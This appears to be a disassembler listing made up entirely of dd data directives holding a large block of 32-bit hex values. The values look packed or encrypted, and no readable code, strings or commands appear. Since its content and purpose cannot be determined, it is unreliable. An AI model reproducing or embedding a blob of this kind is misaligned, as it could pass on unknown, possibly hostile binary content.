		dd 6EBCDD80h, 448CEEC2h, 0D4009E56h, 0B6C0A8BCh, 71811BDFh
		dd 693A38ABh, 0ADD98CB0h, 6B000985h, 72CCE7B8h,	7D9883h
		dd 147CC011h, 7BC5E1A9h, 30A18701h, 2A648547h, 0F6F73883h
		dd 985117A2h, 3FCE584h,	1256E17Fh, 0CBB18A4h, 0F5B8C9EFh
		dd 0A5A8E14h, 44B05064h, 810C8F4Ch, 31CA96F5h, 8DC02087h
		dd 0C413C92Eh, 0A66F3006h, 122023B2h, 475A45DBh, 0F5FFE70Ch
		dd 20A0318Dh, 5B8050DAh, 0C224F9D2h, 123A7422h,	284ACA50h
		dd 95C0D4D4h, 43A24346h, 0ED69808Fh, 265F846h, 45E6DBA8h
		dd 88918682h, 0A8C1B0ECh, 0C07C69EDh, 18515E11h, 0B706F6DCh
		dd 67FF067Fh, 21846008h, 47185938h, 0A4ADE605h,	0DF0187FEh
		dd 803D86B5h, 28ECF994h, 0D3185080h, 448C4FF6h,	58003982h
		dd 7732CE18h, 1F4D9A6h,	0F6856D08h, 481EE6BEh, 0AE40B8D4h
		dd 428E7CF7h, 0A41B1D30h, 0D04464E4h, 47466067h, 448CEFA2h
		dd 0E9006D18h, 89B9A846h, 1B95F53Dh, 0A4480F61h, 9C1AD9B1h
		dd 560B6A0Ch, 9DA1D7E8h, 0C9C35E20h, 33BE2B89h,	2100189Ch
		dd 54C35646h, 1DD65DCh,	0F8BF0FCAh, 0D10D8589h,	5253914Ah
		dd 22C35A87h, 1A315489h, 0C3524210h, 0B8A45F00h, 0BD7484DFh
		dd 48C46EB5h, 858DFA81h, 0E95D8C05h, 0D5370Eh, 402EA8A3h
		dd 77B9BE48h, 0A558E703h, 19508BEAh, 0E330DD90h, 8CD1E904h
		dd 14182D48h, 1C0CC801h, 12E95006h, 8A8B0057h, 47405356h
		dd 9B0064C9h, 5D1A2F4Ah, 6CB2D88h, 840FC403h, 890A3106h
		dd 0A529918Dh, 0B4C78140h, 19173440h, 23AF3A10h, 6BA50019h
		dd 0F51053A6h, 0F016A01h, 0B5FFD7B7h, 0A0F9B248h, 8405EDE2h
		dd 58265046h, 44890A47h, 40174433h, 0E2C35040h,	820F3336h
		dd 1B020504h, 0EDEA8166h, 1EB58609h, 0ADBA0715h, 0C6BD8BC7h
		dd 0C0EC721Fh, 6595010Ch, 60E8102Fh, 5209430Ch,	5F007BD2h
		dd 0A2830213h, 0D3B8D55h, 1625B589h, 0BDE0FB2Eh, 0EDC1299h
		dd 1209750Ch, 740D4435h, 53501918h, 54D2B868h, 4485B707h
		dd 9D148DB9h, 587A464h,	585BD3FFh, 8172262h, 0A1F27B20h
		dd 30EA1233h, 78A6FA0h,	6A830A3Fh, 4491B63Dh, 0C35D8555h
		dd 916C41C2h, 45101522h, 0C00C355h, 0DBE68053h,	92E585C7h
		dd 25016561h, 0CAD001F8h, 6068CB99h, 0CE48E40Dh, 27C5180Ch
		dd 76BA85D7h, 9CD08138h, 52079F2h, 5DBD468h, 211978C0h
		dd 0B60E1650h, 5092EC50h, 0ED536C6h, 1D95182Bh,	0C00B0C09h
		dd 8B317473h, 0FC6932D8h, 9A4D308h, 38836603h, 110A7509h
		dd 9808BDE0h, 8123F556h, 1706DF25h, 7305F883h, 9DD2335h
		dd 20BBF517h, 945C1FE3h, 91299900h, 97B60D49h, 7E9308Eh
		dd 0A1C3F021h, 0F255D904h, 69815F08h, 80030D99h, 0AF4B78B2h
		dd 0F3850F81h, 0CB8B3703h, 91C87E9h, 45BD2B0Eh,	3B387B2Ah
		dd 34CD08A2h, 0FF029913h, 305F3157h, 7C568972h,	1C22FFh
		dd 0FDC35747h, 0AC862EF6h, 9E05D20Ah, 421A9FA0h, 11299D97h
		dd 0FCFF801Ah, 135BF03Ah, 23E9CCA9h, 0BFE0F25Dh, 200126B4h
		dd 8B5011B2h, 2932E995h, 81700134h, 602F970h, 23BD2220h
		dd 0A20ABFE0h, 0DC2DCB86h, 2730A224h, 821AD58Dh, 0BE6C2686h
		dd 1BD95291h, 3701C118h, 0AB63ED96h, 8530623Dh,	0F18101D0h
		dd 1EF86739h, 174C206Ah, 676D06DAh, 601C646Ah, 25D582Fh
		dd 7D4FAF4Eh, 94C91657h, 8C530810h, 14C35B39h, 0A02A5C89h
		dd 0C35343h, 30E4EFAh, 7C217E99h, 52018526h, 0EF401310h
		dd 43EC427Dh, 428DF030h, 91850014h, 0F8E9E4EDh,	0F120BD29h
		dd 0EBF95427h, 0DB1648C9h, 2319ED85h, 4ABA07CEh, 5C4002EFh
		dd 2EE3A7E7h, 0C03571Bh, 8AD25AF9h, 7104B186h, 18A21815h
		dd 1514E817h, 0AF00F110h, 8B22A6C8h, 13441h, 7C53B266h
		dd 0F2F978DFh, 60322418h, 802361E8h, 59EC5857h,	45203AB0h
		dd 0F50120Ch, 0C07F248Ah, 905DB7D4h, 421D1F48h,	1DB04885h
		dd 71A62CCFh, 10E9C3h, 0ACA56239h, 0CDD457FBh, 0EB115D00h
		dd 0CCA4F320h, 0AB3A505Fh, 85074931h, 0F82A5E59h, 4C667988h
		dd 59223AD0h, 0A2BD5053h, 75E33017h, 0B91A7001h, 5948C762h
		dd 5D096249h, 85516091h, 8D0AC359h, 1D44304Ch, 0C3514140h
		dd 8D0F9FA6h, 274C8EDh,	60E7D5C5h, 83115505h, 6F1BE630h
		dd 0C8DAF580h, 0E997D7E8h, 0BA6C0620h, 0D33B00BEh, 2460D564h
		dd 0AB5019A8h, 5026CB85h, 22102F31h, 0CF8E0F14h, 0BF4DDFC0h
		dd 0C48C31DBh, 21335984h, 47620229h, 5D26BB9Eh,	3D136640h
		dd 17798CA0h, 0E98919DDh, 0CAC21128h, 88970B0Dh, 53EC017h
		dd 8A3230B2h, 482572D4h, 0A4F950EFh, 0F15E905Fh, 96205649h
		dd 0B89C199h, 42203DBDh, 182A175Ch, 5601210Ah, 0BA00E511h
		dd 0DCA6B4Fh, 3D359589h, 62817527h, 3D48C8B6h, 81B1E8h
		dd 0D361E4E5h, 20EBFA6Ah, 7170DF77h, 34C5952h, 0E43986B9h
		dd 9A8A7145h, 305661EDh, 248278E2h, 998699F5h, 18147177h
		dd 0C9DCC663h, 0F37BB29h, 3C092182h, 44358568h,	0D97A6016h
		dd 0BCCCD38h, 0D7414355h, 5A8C422h, 9D8950FCh, 41DF5049h
		dd 235E3A93h, 72020118h
		dd 9548F4D0h, 65D105E8h, 0A3CB310Ch, 90E95112h,	7FF60CC3h
		dd 5918A917h, 836B34EEh, 0C87BFFB3h, 0F2D28088h, 1043868h
		dd 23383A4Bh, 9BCA001Dh, 892B95A0h, 2886083Dh, 9F538E07h
		dd 301CF280h, 3702422Eh, 466EAEE1h, 906C145h, 0D4087710h
		dd 0AD56BC02h, 0E6B583CBh, 49A51F4Dh, 900402D9h, 0E9405059h
		dd 99B12C39h, 20EEA308h, 0E9FE2E87h, 42D441FFh,	0F81BE5D5h
		dd 25144001h, 4CEBB710h, 3B1620E3h, 2F298D29h, 32A508BFh
		dd 0C085F505h, 130AE1C3h, 6357524Fh, 0A28C5AD6h, 0CD1A8A12h
		dd 74E9D261h, 52D60E35h, 4751Fh, 0D3AE2CC3h, 0EF497369h
		dd 6A4241FEh, 2B8F5BD4h, 0A4282DA4h, 0FD502232h, 2343843Ah
		dd 5489D628h, 0C857D43Ch, 0B2810220h, 2AE95F81h, 9D31958Fh
		dd 0FB01C533h, 40914889h, 58504C27h, 0FFD32919h, 114D174Bh
		dd 65B801Bh, 0E6016941h, 76084CD2h, 542EC516h, 18E8E47Ch
		dd 9ED5018Ch, 0F8D94B0h, 3A97228Fh, 0A452B9B9h,	1560065Fh
		dd 0F414ACF0h, 0C21A05F2h, 28DCB239h, 4C4584B9h, 0F6F8F498h
		dd 8ABBEEC5h, 0A1F8B7D9h, 0E9EB1AF4h, 0E4FD1B50h, 0EAC6006Dh
		dd 5984722Eh, 0F401CBE0h, 0FFA1B185h, 49ECE23Bh, 0BAFC01BFh
		dd 0B6592FABh, 0AE929024h, 0D0AC9AD1h, 32595600h, 41BD030Eh
		dd 81FEC014h, 0CA6D5DE1h, 83504C3Bh, 9CB617DAh,	0FD722202h
		dd 50286662h, 1E2CC8DDh, 209B90C6h, 0C7B82861h,	10C48312h
		dd 0BCB3C8h, 4682C654h,	0C08BEFE1h, 0AB22FDh, 0D1BBF57Dh
		dd 13FA9C6Ch, 0CF839E26h, 0FED38806h, 5CD20BFFh, 0B880D42Fh
		dd 0CEDA449Dh, 0A39D88E8h, 0C0B7E1Dh, 2F639106h, 0C9D56652h
		dd 3313AE59h, 0F6440195h, 0B488BD81h, 6572126Fh, 0CE410861h
		dd 2AF9BD47h, 50C6BF4Eh, 0EEDC210Eh, 0C791FD90h, 0C04C490h
		dd 90F985C6h, 4F6844F3h, 96A31813h, 0FA2DDF8Dh,	64D88BC5h
		dd 2702922Ch, 4A2A4392h, 5974E7A5h, 94EB9E31h, 0AC5BAE65h
		dd 0D1329910h, 213181Ah, 0F6CBEA65h, 20E3F8BCh,	148856CCh
		dd 34313901h, 0A61EF107h, 0E1C4D028h, 0A804097Dh, 1DB58B60h
		dd 0E51070E2h, 0C861281Eh, 7713A15Ah, 0C8F14C8Dh, 10944E3Ch
		dd 0EF9E304Fh, 599EF9A1h, 7769743Fh, 0E486451Dh, 0BC3A601Ch
		dd 0F5CD0EDCh, 0B40CC28Bh, 0E13996h, 0AAA58D03h, 668D71A3h
		dd 30522089h, 0DF5B2AF9h, 50F78107h, 0E8759303h, 74369420h
		dd 4F2000B7h, 0F14443E4h, 6391DBBh, 10DECC23h, 590D0129h
		dd 4D3567E9h, 0BDEEE8FAh, 22F61909h, 44B4963Bh,	9D14291Fh
		dd 224A0725h, 0BF661686h, 0D2500037h, 2B04EA88h, 0AD33E929h
		dd 8630983Fh, 9EED6832h, 1500F428h, 0F3275EFBh,	0B82D1F9Dh
		dd 2F61250Eh, 329BBB24h, 1376DAB9h, 0CE0E5195h,	611530F9h
		dd 538F281h, 8A0BA879h,	22DC8BD4h, 61E9180Ah, 0D181D913h
		dd 243C883Dh, 85AB245Ch, 20F978h, 3A095FF1h, 7849B97Bh
		dd 433F1926h, 19D19521h, 84E37F19h, 41EBBA02h, 0D6676C38h
		dd 217FD4E4h, 8D677AD4h, 92621D44h, 66439F79h, 0F13A8B9h
		dd 0BB639C81h, 4D108727h, 0C61620CAh, 0F3CE0502h, 7AC01DC8h
		dd 20A2184h, 0BFD9175h,	1F682E85h, 68343BDFh, 0AC0763Fh
		dd 80336595h, 6EC2D0B1h, 70118529h, 2D33F114h, 673018B2h
		dd 841B13E4h, 946E1320h, 81B40459h, 885E172Ah, 0C995A0E2h
		dd 1F448412h, 857860B1h, 5F68EA80h, 0D010FC6Ch,	8BED35C2h
		dd 0D215820Eh, 1BD989F9h, 4701BC18h, 0F48AF105h, 93076BAh
		dd 52A86AF2h, 16467470h, 0BDB1C906h, 3590429h, 55D900D1h
		dd 894B7E62h, 233CFDB5h, 0B5C5E4Dh, 18C1AF8h, 0B20230FEh
		dd 91CA3677h, 0D30006ACh, 1FA6DF0Ah, 0CB9460BCh, 0F8176740h
		dd 0B6310033h, 0B86618E3h, 6109A1AEh, 0CD016A5Fh, 0D84AC6B9h
		dd 6C0D6126h, 6B1BCB4Eh, 98D88F8h, 6A00BC08h, 1C465C6Eh
		dd 95FCD000h, 56FA2CAFh, 0E8D68316h, 89A9CB20h,	976F006Eh
		dd 6C4E0841h, 610030F3h, 68366567h, 94DD99F0h, 521E3A3Bh
		dd 1FF895Ah, 0C2298605h, 0C36731A6h, 0B14F8408h, 4810B5D4h
		dd 0ED407CDCh, 23A3E7E9h, 43B378E1h, 8BD68502h,	0DAE8F9F5h
		dd 4A5B0008h, 0ED99A0EFh, 0D3F0C25Ch, 33988407h, 90CCB4D1h
		dd 5FABCC49h, 0D88A5292h, 163F9694h, 803D9B50h,	2B2D68C9h
		dd 50FE258Bh, 63F5B310h, 3A79F300h, 0B8D2514Bh,	0B5FF24CDh
		dd 622947DAh, 6EE417C5h, 80B40B7Ch, 164676h, 2BAFFF75h
		dd 9B128995h, 2C2A1C1Eh, 14467C6Ah, 7E08822Dh, 2591A69Fh
		dd 30C87C91h, 0F8892342h, 0E4C9149Ah, 0C1800A01h, 0A2DEA779h
		dd 86D58A60h, 0B44D364Dh, 4309DCC0h, 71990A3Dh,	0F0A3001Ch
		dd 0CCAA8D8Ah, 0E4CD6500h, 0C10FCBC9h, 229001E1h, 106AB645h
		dd 247E6C50h, 5B59625Ah, 7F2B4014h, 25A11716h, 0C7296700h
		dd 0A0187D96h, 0F69D1EE8h, 6488928Eh, 0C0F5DB73h, 0EA774680h
		dd 581B4865h, 241C9D10h, 811E5257h, 0CC5F48E0h,	0E57BD902h
		dd 7A5111E9h, 0F3B1F204h, 0DAE86E99h, 3B0A7FC3h, 0F182507Ch
		dd 3D458A20h, 2F9B434Ch, 6124F520h, 444B4929h, 0FD8D167Fh
		dd 4149680Dh, 23222842h, 0DD73037Ch, 0F91691B1h, 81E2E11Eh
		dd 18A6CAC0h, 0D2C202E6h, 1D4C5D3Fh, 41549290h,	81880F46h
		dd 22C408EAh, 5D477533h, 0D0F85309h, 0E20011C2h, 1B9D17B2h
		dd 0B4E8F5FFh, 0A3908F1Ch, 0EA550101h, 0B50EF0DBh, 24872614h
		dd 30291096h, 96905A2Fh, 0CCB0A213h, 0F9214500h, 246ABDD9h
		dd 447D1EAAh, 0FFDF007Bh, 9533B1E9h, 41145D34h,	0E7027D24h
		dd 4C08CAC1h, 288AB09Ch, 447A5544h, 0D59A5107h,	595197F0h
		dd 446E2E81h, 4D77EF04h, 0F12F803Dh, 7A62AC62h,	71B75E4h
		dd 3BF97760h, 0D960DA62h, 61812FFDh, 0A68068C4h, 6AF814EDh
		dd 0C912E103h, 0A2012406h, 0AE5A0073h, 0C773BF51h, 775C0070h
		dd 798CB7B0h, 9D10892Dh, 5A3403BDh, 8881CED0h, 1CD1C019h
		dd 0EC049CFEh, 11BD098Bh, 3568F393h, 89A0C027h,	9BC0023Bh
		dd 0A082C62Bh, 0DD0971C5h, 87E99525h, 83D01E7Ch, 20C6A8F8h
		dd 0B13C05EAh, 95BF824h, 1FBA4F00h, 0B16DB1Dh, 765BD33h
		dd 11049C12h, 7B3AC102h, 9D010004h, 0C163D24Dh,	295AF5F5h
		dd 0E0E3BC2Fh, 2AF234CFh, 0BB8F1BEAh, 0D0697E40h, 6CE88A31h
		dd 8000EFF2h, 1AD0B2C5h, 8C1DB83Bh, 5F842800h, 0D27F99A2h
		dd 0B5B324E6h, 6DB260Ah, 2F0FE8C0h, 59F85D00h, 5FA29D7Ch
		dd 0BBBD0330h, 0C3869FD9h, 0C910D79Ch, 0A4AFC398h, 0DDF24800h
		dd 7AB50A61h, 303F3C76h, 0AEC82702h, 8C591157h,	0C81FD8F1h
		dd 28B95ED8h, 0A544E700h, 260D321Eh, 15ACC831h,	0E929F845h
		dd 3B033E8Dh, 548529F5h, 3201E0DFh, 0FE3B1146h,	27BCEA3Fh
		dd 9417A038h, 0C5064954h, 0DE82A971h, 33120150h, 0A284218Dh
		dd 90E33A3h, 0D3F02DB5h, 9BAA288h, 3BDCF0B2h, 0AF933266h
		dd 1D751E78h, 5BF434Dh,	0C270D534h, 4A40CB13h, 0C5D72B85h
		dd 0B78B305Fh, 44CB16F8h, 243FB947h, 0B919ACCDh, 11559752h
		dd 0DFFD8117h, 0A03C35F3h, 27579480h, 3C2C0222h, 9DA2BC95h
		dd 897B44A6h, 4DFC1D4Dh, 0C5D098B7h, 6050800Ah,	152D2B7Fh
		dd 0D9D1A217h, 0A0BCCC61h, 0B126FDC4h, 0E28140B6h, 252CEECBh
		dd 0CFA5A86Ah, 7760600Fh, 0DE0C5354h, 0A1598501h, 0C7C83C8Bh
		dd 70336D10h, 0D19D6EA0h, 234279BEh, 21D18EDh, 0A4EA8F89h
		dd 59CC1119h, 3BF05F01h, 0A152357h, 1FA47F2Eh, 85B22295h
		dd 2F4B8794h, 333E6B75h
		dd 69DC1499h, 1B8BA60Dh, 17C49AE7h, 0D2D7AB60h,	21E1CE50h
		dd 90600240h, 29CD20AFh, 40B70B9Fh, 8A0B314Fh, 1A1D482Ah
		dd 0E26C3BDDh, 0CD91EA0h, 50897A93h, 1FCE68E9h,	2E530EE4h
		dd 0F8075639h, 5E2C70E2h, 3402CFD2h, 655C1E67h,	92914559h
		dd 88A68F5Ah, 2B67C114h, 0CD552E95h, 8C14B8AEh,	890FD613h
		dd 0C0BF2822h, 30798FC4h, 91530E9h, 1348B18Dh, 73A9A4A4h
		dd 8C0F06B8h, 8209A99Eh, 40E6A0B6h, 5C81BD1Eh, 9D845F11h
		dd 292C90A1h, 0A958DB5h, 0FCE4CB83h, 6E3FC699h,	0E46A001Ch
		dd 5BDE29FCh, 0A9939560h, 46DC1FA0h, 7376AB24h,	83280D0Dh
		dd 49B2EE60h, 1498F8E5h, 2C9386F7h, 1FD28101h, 94707C74h
		dd 88694BBDh, 0D3991361h, 0D21819F9h, 0E5CC2A04h, 5F81ABFEh
		dd 0C061741h, 71919574h, 40797E4Ch, 0DD248005h,	36CC7483h
		dd 0CC294169h, 34B2B1BDh, 0F577E90Eh, 850532FFh, 2C042A11h
		dd 8A5DF86Ch, 96B1035h,	0FCDB0E71h, 13741D0h, 677D9F16h
		dd 0AE6BA231h, 83A4699Ah, 45850A3Ch, 110C5B29h,	0F35EAB04h
		dd 9C80AF79h, 28F70DF0h, 8DD4C007h, 4A9521B5h, 510F98h
		dd 749A87ACh, 50935FFBh, 204F1C00h, 0E24A9477h,	774C487Dh
		dd 4C9DC710h, 818873BBh, 497E0BDFh, 0C084766Bh,	9D3BC060h
		dd 50A015F9h, 618101A5h, 7F5AC41h, 456A0F97h, 0B82F3144h
		dd 28E6B42Eh, 692826A0h, 6DBF660Ah, 9D0CF863h, 37F38919h
		dd 0A2F8A0Fh, 74D44868h, 5A0C1646h, 5164178Fh, 0D0C11864h
		dd 148805CEh, 0CF8B88C1h, 121F89A6h, 5A3AF01Dh,	919D8AACh
		dd 47E4B926h, 6A790043h, 0C8173718h, 460B39BEh,	851F562Eh
		dd 0CAA203B8h, 0D9F8325Ch, 2FD9E48Fh, 6E5F8B3Ah, 0CA7F00C6h
		dd 0F093FF09h, 0F938261Ah, 801825DDh, 1832B85h,	0BDD981D2h
		dd 2043112Ah, 6127490Eh, 0C0784D50h, 226C6FFDh,	0B2D18902h
		dd 76A1F224h, 98B8026Eh, 0B4C0D88Bh, 82E852D3h,	0CF611D9Eh
		dd 8441535Fh, 9D8E0145h, 8E5F8903h, 6BB5043h, 5984205Bh
		dd 0A25B104Eh, 0E4830FCEh, 29600994h, 0A5247985h, 8092B8E8h
		dd 93F45E5h, 0C6FD03DAh, 615F4259h, 0FAC2A20Ch,	5BB1F638h
		dd 0F88DCD80h, 9A16AAF1h, 41440E51h, 6A091769h,	0DD208FF8h
		dd 5F36D002h, 4DBD2B09h, 0BA04C1DAh, 42E34490h,	6E6E7FE5h
		dd 0EEC000E6h, 4898E336h, 95292766h, 468AC27h, 8B5FE818h
		dd 8295B753h, 9D99303Bh, 38A18AA2h, 8E6988DEh, 186531B3h
		dd 6685417Dh, 36AF99BAh, 0EA8103FCh, 9DAB945Eh,	9062F71Eh
		dd 14092C0Ah, 9EB55008h, 3377A1ACh, 2F8BA144h, 9C371840h
		dd 0B44C9D00h, 0F8B30FDh, 1F54DBFh, 0AD1A1544h,	285112F0h
		dd 340B9A8Dh, 50C51488h, 3922E1CBh, 0AB1FBF01h,	8C3D6421h
		dd 205915A8h, 291501D3h, 178AF98Dh, 0FC3F32E9h,	28071623h
		dd 96153D7Bh, 0BB9F3448h, 13278128h, 0CC8AE680h, 0F5A10B4Ah
		dd 9D7322Bh, 0E683E980h, 0DC599425h, 6DAEFE06h,	0A056ADFAh
		dd 4CB6F12Dh, 6E5B3FD1h, 2BAC05D0h, 0B212C786h,	0A05813E6h
		dd 0C6FCE848h, 0C6E10B47h, 0E2960B0Bh, 0A4DB00A7h, 0D6DF7A34h
		dd 70F2006Dh, 0BF603BD1h, 4A00CD65h, 6158500Ah,	0DD7815Fh
		dd 1EDB6FB3h, 0AD6C20AEh, 563C1741h, 0E0C6518Bh, 329169A0h
		dd 601BC48Dh, 0C95716h,	315E7D54h, 15BE9FBh, 0F55CC082h
		dd 3ADB831Eh, 1BF53758h, 0EC170AF9h, 0DFD3D156h, 1B490B2h
		dd 2C52025h, 0B915631h,	0F90AC82Dh, 883984E9h, 31160885h
		dd 0E907C5E2h, 19FFF037h, 0EB822537h, 7EABF1D4h, 4A91422Ch
		dd 3E5018F4h, 0B9C1A072h, 0A2E61289h, 11333F19h, 0DDF807DDh
		dd 20E60742h, 0F053595Bh, 12FC982h, 2D61D98Bh, 579B880h
		dd 3C76F934h, 40FDA289h, 0AEBE17E4h, 6275E5E0h,	0F6F0005Fh
		dd 0D391F37Bh, 9701E89Ah, 0FFD95B40h, 202A8B23h, 286E96Ah
		dd 0F4F6BCh, 3F0E7268h,	98808D58h, 95897F0Bh, 1CA27FDh
		dd 0C40AD5B2h, 0F6092FD0h, 0EA410B4Fh, 18606132h, 599E86Ah
		dd 0F5B9663Ch, 1BC0BA0h, 65D97D29h, 5FC12500h, 1663A019h
		dd 0A209CE2Ch, 0F590B99h, 0D682B08Dh, 0D3535CE9h, 420AA9C4h
		dd 822E7D8Dh, 1F41162h,	3640D0B1h, 6A7F7CAh, 4652C6F2h
		dd 0A9BE027Dh, 0D051F969h, 0C2F73840h, 42DBB418h, 821A218Eh
		dd 346A7510h, 1F9D92CEh, 2B66CAAFh, 203DD80Fh, 0FFA115D5h
		dd 62DA3007h, 98C0144h,	4C3F6DBh, 53FC2704h, 5601B6B3h
		dd 0A8B85268h, 6A171E9Ch, 10830804h, 8164B73Bh,	8A74B2DCh
		dd 68472D10h, 18AC9B08h, 414F3ECh, 801EF08Bh, 2661684Fh
		dd 6D7EF72Fh, 70D243FBh, 18CA7D58h, 85185628h, 757553C0h
		dd 98684101h, 7FDB8764h, 0B8EA257Dh, 39684C68h,	802BE7A4h
		dd 9D8B4120h, 5BE21774h, 55BD5004h, 0B1C25479h,	0AE3BC715h
		dd 4385E95Dh, 702020Ch,	0C5098985h, 0D0022039h,	0B5CA2E47h
		dd 21114A8Bh, 68454067h, 0A520F797h, 2F2D2192h,	0D50267CCh
		dd 7585280Ch, 0B4603632h, 0A94EA1D1h, 7E750C19h, 449A34A5h
		dd 2A39D782h, 0FC0032F3h, 38CD7180h, 1AC60E9Ch,	5F801BBEh
		dd 0EA62EE74h, 8B672205h, 734201BDh, 0F04B2E45h, 50F90436h
		dd 0D095BD29h, 35FF641Fh, 18703FE1h, 1962984h, 283A045Fh
		dd 76258964h, 3018A203h, 483F683Eh, 0E2808156h,	0E9BD2B61h
		dd 0C15F5628h, 602F2A9Bh, 20452D5Ch, 2BB9F244h,	978D2916h
		dd 3A86C717h, 0DDBD040Ch, 7FC1E512h, 583CA24h, 0DBB55F3Dh
		dd 37D980F7h, 1A5BF66h,	8024B6EDh, 2AFC8DBDh, 0C260428Ah
		dd 0E93313C1h, 93476E4Ah, 0DB90CAB7h, 0E438A1B9h, 0CC0EE22h
		dd 9E9D38Bh, 0DB00233Bh, 677F5403h, 2DA42A3h, 73F0F40h
		dd 0A3DC640Bh, 1069554Bh, 24119F10h, 0F2E33080h, 3D1D9AD6h
		dd 2107372Fh, 0E4BBB92Ah, 90C68431h, 0FB83F8F8h, 8422F4B8h
		dd 3D20C413h, 0B5BDB407h, 5E9171Bh, 24121EBFh, 2D7E5CCCh
		dd 0F9009AECh, 0D2E04AE2h, 419A5D1h, 9B5B8A8Eh,	8069A8F3h
		dd 34B76823h, 50BD0B6Fh, 0A0808B86h, 0A481C70Ch, 3FF25CCh
		dd 0CAB8F483h, 6920415h, 305C8BC3h, 4184DB83h, 67ED815Dh
		dd 518B6824h, 74411B83h, 89022F2Ch, 4F5D0CA6h, 0CDF18A27h
		dd 0ED31C144h, 5D608884h, 4DAFBB2Eh, 2B17E86Ah,	0D4871D11h
		dd 500C98Dh, 9B51F274h,	0A2C6A148h, 698E200Bh, 8C01C120h
		dd 15B111A3h, 0CA274871h, 40FA9076h, 559EB91Fh,	0D704B883h
		dd 6405D855h, 0DF70081h, 85D465BBh, 401CBA86h, 8C3E34B6h
		dd 0C5FE8EAh, 9FBEEEDh,	564D5868h, 0F188055Ch, 724DCA30h
		dd 91E4F658h, 6A40E94Eh, 152F0BCFh, 1983004Fh, 4CB2490Ch
		dd 6F009DC3h, 0FC36918Ch, 4B8B0703h, 80E79BC0h,	1B5AE4C8h
		dd 3EA44AE2h, 43D10A6h,	222FF984h, 20A117CBh, 7FA86CC5h
		dd 0C73900ABh, 30FADEE6h, 0F61B12CEh, 5287C84Ch, 0A5178A04h
		dd 87C27B0Fh, 0BF032F03h, 0E215FCCEh, 6AD83AE9h, 2E07F9A9h
		dd 151E3538h, 45B801h, 70656378h, 6E6F6974h, 0BB492039h
		dd 6D720A66h, 8C280C61h, 0B9656C3Ch, 202C9B73h,	0A964E308h
		dd 0CEF76874h, 0E66C7136h, 7E697E77h, 7F637A67h, 28736F64h
		dd 61E57EBEh, 78CDBD40h, 2ACE2EFEh, 5420836Dh, 6B163B68h
		dd 75BF793Dh, 40D0A9Bh,	280131FDh, 73469870h, 1D544362h
		dd 7F2B4C52h, 699ED1ECh, 64971ED9h, 0A18FA0B6h,	879702Ah
		dd 0BF696C3Ch, 72618562h, 36102964h, 65561F42h,	9F997354h
		dd 25DE3DDFh, 80431E72h
		dd 496B6387h, 640FA94Eh, 55234F1Ch, 72508754h, 211DFA6Fh
		dd 193B6D0Fh, 69E6010Fh, 0F3DA174h, 0CA5B1EC8h,	188E8D50h
		dd 0A201E1Dh, 15C12CBDh, 12D62E5h, 9FFE0BFAh, 0ED3D10BDh
		dd 9768899Eh, 860D8025h, 24852793h, 0A4B3003h, 2C070D19h
		dd 1164CC1h, 0B3C12BA2h, 5712DE83h, 51259988h, 13230E11h
		dd 230E1D59h, 0E255960h, 0EC5B7E23h, 648D6738h,	8D6F3815h
		dd 76381964h, 0C20C4885h, 0E9023225h, 1244C4A2h, 321651BDh
		dd 0DA2953Ah, 0C1230E5h, 4B8B1BFCh, 303BF595h, 0D69CF860h
		dd 2FBBE425h, 2790958Dh, 28CB3452h, 3BE30340h, 5E9DFA89h
		dd 120C4D8Dh, 8B275540h, 0C38B13CAh, 9A3CE24Ch,	50113165h
		dd 90871108h, 791D8854h, 87210858h, 15885C90h, 0A24DDCA9h
		dd 6822AF1Ah, 5A93CD82h, 90190C21h, 6421C815h, 1911321Dh
		dd 0A09150Dh, 3F1C3107h, 2FE50748h, 57C5481Ch, 406A2486h
		dd 19295224h, 0E1299DD3h, 80BE2D01h, 0C98060C1h, 9EC0ECC3h
		dd 18465EF3h, 0DB73702h, 10575F64h, 0BCBFB1Dh, 0F5D59D81h
		dd 0E90579Fh, 0C4FDDAD3h, 2D2E040Eh, 724457h, 39D52F4Bh
		dd 910E2CA3h, 936BA000h, 6160E7BCh, 2F5A5A5Eh, 0B15231Bh
		dd 669885C1h, 370D1362h, 0EC7B52A8h, 72F46E2Eh,	0EAAD8F00h
		dd 30203243h, 51269CF4h, 7CAD146Dh, 5525CDB8h, 92718Eh
		dd 0ABEEEFB8h, 0AE04781Eh, 13E945C7h, 0CFE7B440h, 0E0F2A5F3h
		dd 81E40500h, 0AF3477C0h, 0F6900095h, 0E95A54DBh, 0AEBC0261h
		dd 6B6700F4h, 0E4FD8098h, 8C007C39h, 62C981DFh,	94EA502h
		dd 4C7F766h, 6D2BE526h,	9FA483ECh, 9B9611B7h, 0D45ECh
		dd 3B824DFAh, 0C5056387h, 8EAE4103h, 708D0F91h,	2B59072Bh
		dd 0B2F960FFh, 268E158Bh, 794603F1h, 0F007DB97h, 0CDC0F7h
		dd 0BDFDBB11h, 61594DA6h, 0E4133E90h, 4DA64B36h, 0F52169F0h
		dd 0EB0F5EEAh, 67BA6693h, 0BE51505Bh, 88EA9885h, 123F2AFAh
		dd 0B2D959F9h, 80449B2Fh, 0DD22B8B1h, 51150991h, 90E5DBF4h
		dd 5158602Bh, 6F35002Bh, 0FED67E74h, 0C4508B96h, 0E202BDE6h
		dd 1CD4891h, 0DE9F54EBh, 0CB253D00h, 8E0F64FBh,	0E0EA9C12h
		dd 0C26B2147h, 0DDB2A000h, 758173A1h, 209C4FE6h, 8616FC39h
		dd 0A044C401h, 0D430C064h, 1F2C0D3h, 0E41053B4h, 6B301AA2h
		dd 769A04B9h, 0E63E4C1Fh, 65885B2Dh, 0AD2019Bh,	7EFEEE58h
		dd 4AF3338h, 0DC1A8CC2h, 0DB2A43E1h, 0AF8E80C3h, 0B7DFE50Fh
		dd 22F19B07h, 345E5ABDh, 4C00B09h, 0CEE78B26h, 5B3D9A00h
		dd 0B235B4A4h, 9B178000h, 0EBA613Fh, 37752CFAh,	3CF0924h
		dd 86BD7901h, 63AA7C72h, 1F9C15Ah, 3840FA2Ch, 8B01B80Ah
		dd 80E7FF59h, 85EFFB33h, 9574F69h, 7BE61088h, 40B60F02h
		dd 4C8FE01h, 126A5DB0h,	8B5F0227h, 0C1DACD82h, 0F0E06C55h
		dd 8B07C728h, 6064B6C8h, 0D881F510h, 0A3C60C9Dh, 0F026141h
		dd 0E2F7B726h, 712CC228h, 96F672A6h, 0E42D6C9h,	0C6F102F4h
		dd 0A05E0CDFh, 71B465Eh, 0F41F6E79h, 57648541h,	70009123h
		dd 66694CC0h, 3E7C4EEAh, 675BF601h, 0BC5773CFh,	0FAF3E8A5h
